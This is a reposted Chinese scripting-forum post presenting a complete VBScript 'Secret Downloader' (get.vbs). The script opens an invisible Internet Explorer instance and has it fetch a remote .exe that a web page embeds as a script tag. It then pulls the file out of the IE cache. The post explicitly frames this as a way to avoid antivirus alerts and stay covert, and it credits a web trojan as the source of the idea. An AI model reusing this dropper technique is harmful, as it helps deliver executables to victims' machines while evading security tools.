批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程
[批处理文件精品]批处理版照片整理器[批处理文件精品]纯批处理备份&还原驱动在线第三方下载
返回列表 发帖

[转贴] 使用VBS脚本下载文件

说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:
article_1073_codes.txt
当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
那么,有没有更好的方法呢?答案很明显:-)
我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中读取。
好了,不废话,看代码:
  1. '=============================
  2. ' get.vbs
  3. ' by lake2
  4. '=============================
  5. If WScript.Arguments.Count <> 3 Then
  6. WScript.Echo ""
  7. WScript.Echo "======= The Secret Downloader 0.1 ================"
  8. WScript.Echo " by lake2 "
  9. WScript.Echo "Usage: CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
  10. WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " [url]http://www.0x54.org/lake.htm[/url] 520.exe c:\520.exe"
  11. WScript.Echo "=================================================="
  12. WScript.Quit
  13. End If
  14. URL = WScript.Arguments(0)
  15. exeName = WScript.Arguments(1)
  16. If InStr(exeName, ".") > 0 Then
  17. tmp = Left(exeName,InStrRev(exeName, ".")-1)
  18. tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
  19. FindFileName = tmp & "[1]" & tmp2
  20. End If
  21. LocalName = WScript.Arguments(2)
  22. set ie=wscript.createobject("internetexplorer.application")
  23. ie.visible = 0
  24. ie.navigate URL
  25. WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
  26. WScript.Sleep(5000)
  27. ie.quit
  28. WScript.Echo "[+]Get the file ..."
  29. set objshell= WScript.Createobject("WScript.Shell")
  30. strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
  31. ShowAllFile(strValue)
  32. WScript.Echo "[-]download Fail :("
  33. Sub ShowAllFile(Path)
  34. Set FSO = CreateObject("Scripting.FileSystemObject")
  35. Set f = FSO.GetFolder(Path)
  36. Set fc = f.SubFolders
  37. For Each f1 in fc
  38. If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
  39. FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
  40. WScript.Echo "[+]Download Success !"
  41. WScript.Quit
  42. End If
  43. ShowAllFile path&"\"&f1.name
  44. Next
  45. Set FSO = Nothing
  46. End Sub
复制代码

使用方法:
1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>
2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径

http://foxhack.blog.51cto.com/96963/32853

返回列表